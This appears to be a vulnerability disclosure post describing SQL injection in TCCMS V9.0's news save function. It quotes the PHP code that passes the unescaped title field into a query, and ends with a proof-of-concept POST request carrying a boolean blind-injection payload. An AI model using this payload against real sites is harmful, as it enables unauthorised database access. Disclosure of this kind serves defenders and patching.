TCCMSV9.0 最新版多处sql注入(GPC 条件)

漏洞作者:

路人甲

在app/controller/news.class.php中

详细说明:

public function saveOrUpdate() {

		$this->userIsLogin ();

		$powerObj = M('power');

		$groupObj = M('group');

        $fieldObj = M("field");

		$_Obj = M($this->objName);

		$newsObj = M("content");

		$msgObj = new Msg();

		//栏目发布权限判断

		$userGroupId = $powerObj->getUserGroupId();

		$groupObj->load($userGroupId);

		$postCategoryAry = explode(",", $groupObj->post);

		$_Obj->classid = $_POST['info']['pid'];

		if (!Authen::isAdmin() && !in_array($_Obj->classid, $postCategoryAry)) {

			$msgObj->addMsg('error', Config::lang("NOTPOWERADDNEWSTHISCATEGORY"));

		}

        

		//表单数据获取

		$_Obj->create();

		$newsObj->create();





.....



$_Obj->haveDoubleRow($msgObj,"title", Config::lang("TITLECANNOTDOUBLE"));
 

这里程序先做了登陆以及发表文章的权限判断。然后程序执行了表单数据获取操作:$_Obj->create();

public function create($datas = '') {

        $data = array();

        $data = $datas;

        if (empty($data)) {

            $data = $_POST['info'];

        } elseif (is_object($data)) {

            $data = get_object_vars($data);

        } elseif (!is_array($data)) {

        	$msg = Config::lang("ILLEGALDATA");

            exit($msg);

        }

        if (empty($_POST['info']) && empty($data)) { return false; }

        $fieldsType = $this->types; //字段和默认值

        $fieldsName = $this->fields; //字段和类型

        $formKeyAry = array_keys($data); //post过来的所有$key

        /* @var $key type */

        foreach ($formKeyAry as $key) {

            if (array_key_exists($key, $this->fields)) {

                $val = isset($data[$key]) ? $data[$key] : NULL;

                if (is_scalar($val)) {

                    if (false !== strpos($fieldsType[$key], 'int')) {

                        $val = intval($val);

                    } elseif (false !== strpos($fieldsType[$key], 'float') || false !== strpos($fieldsType[$key], 'double')) {

                        $val = floatval($val);

                    }

                }

                if (!is_null($val)) {

                    $this->$key = StringUtil::new_html_special_chars($val);

                }

                if (($data[$key] == "" || $data[$key] == NULL || $data[$key] === 0) && $fieldsName[$key] != "") {

                    $this->$key = $fieldsName[$key];

                }



            }

        }

        return $this;

    }
 

我们发现程序从$_POST['info'] 逐一获取了key/value的值,并最终保存为$this->$key =$value。并且在中间过程中做了html编码,并没有做转义。



继续看之前的方法,程序后来执行了

$_Obj->haveDoubleRow($msgObj,"title", Config::lang("TITLECANNOTDOUBLE"));

public function haveDoubleRow($msgObj,$cloum,$errorMsg) {

    	$sql = "select * from " . $this->table . " where ".$cloum." = '".$this->$cloum."'";

    	$pri = $this->PRI;

    	$rowNum = empty($this->$pri) ? 1 : 2;

    	$ifExists = $this->ifExists($sql,$rowNum);

    	if ($ifExists) {

    		$msgObj->addMsg('error', $errorMsg);

    	}

    	return $ifExists;

    }
 

这里面$column 值就是title,所以$this->$cloum就是$this->title,也就是$_POST[info][title]的值。这样就等于没有进行转义就带入到了sql语句中执行了



此处可以使用boolen型盲注,当sql语句获取到数据的时候会提示title已经存在,利用这个可以很方便的进行sql注入





POC:

http://192.168.152.160/index.php?ac=news_saveOrUpdate

POST:

info[title]=' or 2>1%23&info[pid]=1&info[photo_s]=234&info[photo]=&info[smallmemo]=23&smallpic=1&smallmemo=1&info[id]=&info[content]=<p>234<br/></p>

 

当注入info[title]=' or 2=1%23时,会添加成功

27012942f9af50d90b6be90f681c2ff653c0659f[1]

当注入info[title]=' or 1=1%23时,会提示标题重复

27013011c059ccf32fab980c9160734093b1740c[1]

发表评论